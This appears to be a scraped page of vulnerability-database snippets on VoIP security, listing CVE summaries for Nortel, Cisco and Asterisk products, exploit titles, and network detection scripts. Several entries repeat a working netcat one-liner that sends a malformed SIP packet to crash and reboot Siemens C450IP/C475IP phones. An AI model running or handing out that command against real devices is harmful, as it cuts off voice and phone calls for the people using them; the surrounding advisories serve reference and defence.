Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery

Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XSRF voip provider change xsrf version 1.2.5 milw0rm.com 2009-01-29...

Cisco SIP VoIP phones DoS

Crash on malformed RTP header parsing...

Asterisk IAX2认证响应信息泄露漏洞

BUGTRAQ ID: 33174 CVECAN ID: CVE-2009-0041 Asterisk是开放源码的软件PBX，支持各种VoIP协议和设备。 Asterisk IAX2在认证期间对用户不存在的情况和错误口令的情况提供了不同的响应，这允许攻击者通过扫描主机确定特定的用户。 Asterisk Asterisk 1.6.x Asterisk Asterisk 1.4.x Asterisk Asterisk 1.2.x Asterisk Business Edition C.2.x.x Asterisk Business Edition C.1.x.x Asterisk...

CVE-2008-5871

Nortel Multimedia Communication Server MSC 5100 3.0.13 does not verify credentials during call placement, which allows remote attackers to spoof and redirect VoIP calls, possibly related to the snoop command...

Command injection

Nortel Multimedia Communication Server MSC 5100 3.0.13 does not verify credentials during call placement, which allows remote attackers to spoof and redirect VoIP calls, possibly related to the snoop command...

CVE-2008-5871

Nortel Multimedia Communication Server MSC 5100 3.0.13 does not verify credentials during call placement, which allows remote attackers to spoof and redirect VoIP calls, possibly related to the snoop command...

CVE-2008-5871

CVE-2008-5871 affects Nortel Multimedia Communication Server (MSC) 5100, version 3.0.13. The underlying issue is that the system does not verify credentials during call placement, enabling remote attackers to spoof and redirect VoIP calls. The impact is partial confidentiality/integrity/availabil...

Siemens C450IP/C475IP Remote Denial of Service Vulnerability

No description provided by source. Hi, echo -e "X sip:s X\nFrom:sip:@x\nTo:sip:@x\n" | nc -q0 -u target 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor Siemens was contacted 11/2007, no fix supplied yet. Have phun! s...

Siemens C450IP/C475IP DoS

Hi, echo -e "X sip:s XnFrom:sip:@xnTo:sip:@xn" | nc -q0 -u target 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor Siemens was contacted 11/2007, no fix supplied yet. Have phun! sky & Any...

siemens-dos.txt

Hi, echo -e "X sip:s X\nFrom:\nTo:\n" | nc -q0 -u 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor Siemens was contacted 11/2007, no fix supplied yet. Have phun! sky & Any...

Siemens C450IP/C475IP Remote Denial of Service Vulnerability

Exploit for hardware platform in category dos / poc ============================================================ Siemens C450IP/C475IP Remote Denial of Service Vulnerability ============================================================ Hi, echo -e "X sip:s X\nFrom:\nTo:\n" | nc -q0 -u 5060 Will...

Siemens C450IP/C475IP - Remote Denial of Service

Hi, echo -e "X sip:s X\nFrom:\nTo:\n" | nc -q0 -u 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor Siemens was contacted 11/2007, no fix supplied yet. Have phun! sky & Any milw0rm.com 2008-11-24...

Siemens C450IPC475IP - Remote Denial of Service

Siemens C450IPC475IP - Remote Denial of Service Hi, echo -e "X sip:s X\nFrom:\nTo:\n" | nc -q0 -u 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor Siemens was contacted 11/2007, no fix supplied yet. Have phun! sky & A...

iax2-version NSE Script

Detects the UDP IAX2 service. The script sends an Inter-Asterisk eXchange IAX Revision 2 Control Frame POKE request and checks for a proper response. This protocol is used to enable VoIP connections between servers as well as client-server communication. Example Usage nmap -sU -sV -p 4569 Script...

Ventrilo Server Detection

A VoIP service is listening on the remote host. Description : The remote host is running Ventrilo, a voice over IP VoIP software developed by Flagship Industries. OpenVAS Vulnerability Test $Id: ventrilodetect.nasl 5499 2017-03-06 13:06:09Z teissa $ Description: Ventrilo Server Detection Authors:...

Ventrilo Server Detection

A VoIP service is listening on the remote host. Description : The remote host is running Ventrilo, a voice over IP VoIP software developed by Flagship Industries. SPDX-FileCopyrightText: 2008 Tenable Network Security Some text descriptions might be excerpted from a referenced sources, and are...

TOM-Skype Detection

TOM-Skype is a variant of the popular 'Skype' VoIP application done in conjunction with TOM Online, a popular Chinese Internet Provider. The remote version of TOM-Skype filters out some incoming keywords that the official version of Skype does not, and apparently does not guarantee the...

CVE-2008-3801

Unspecified vulnerability in the Session Initiation Protocol SIP implementation in Cisco IOS 12.2 through 12.4 and Unified Communications Manager 4.1 through 6.1, when VoIP is configured, allows remote attackers to cause a denial of service device or process reload via unspecified valid SIP...

CVE-2008-3800

Unspecified vulnerability in the Session Initiation Protocol SIP implementation in Cisco IOS 12.2 through 12.4 and Unified Communications Manager 4.1 through 6.1, when VoIP is configured, allows remote attackers to cause a denial of service device or process reload via unspecified valid SIP...

CVE-2008-3799

Memory leak in the Session Initiation Protocol SIP implementation in Cisco IOS 12.2 through 12.4, when VoIP is configured, allows remote attackers to cause a denial of service memory consumption and voice-service outage via unspecified valid SIP messages...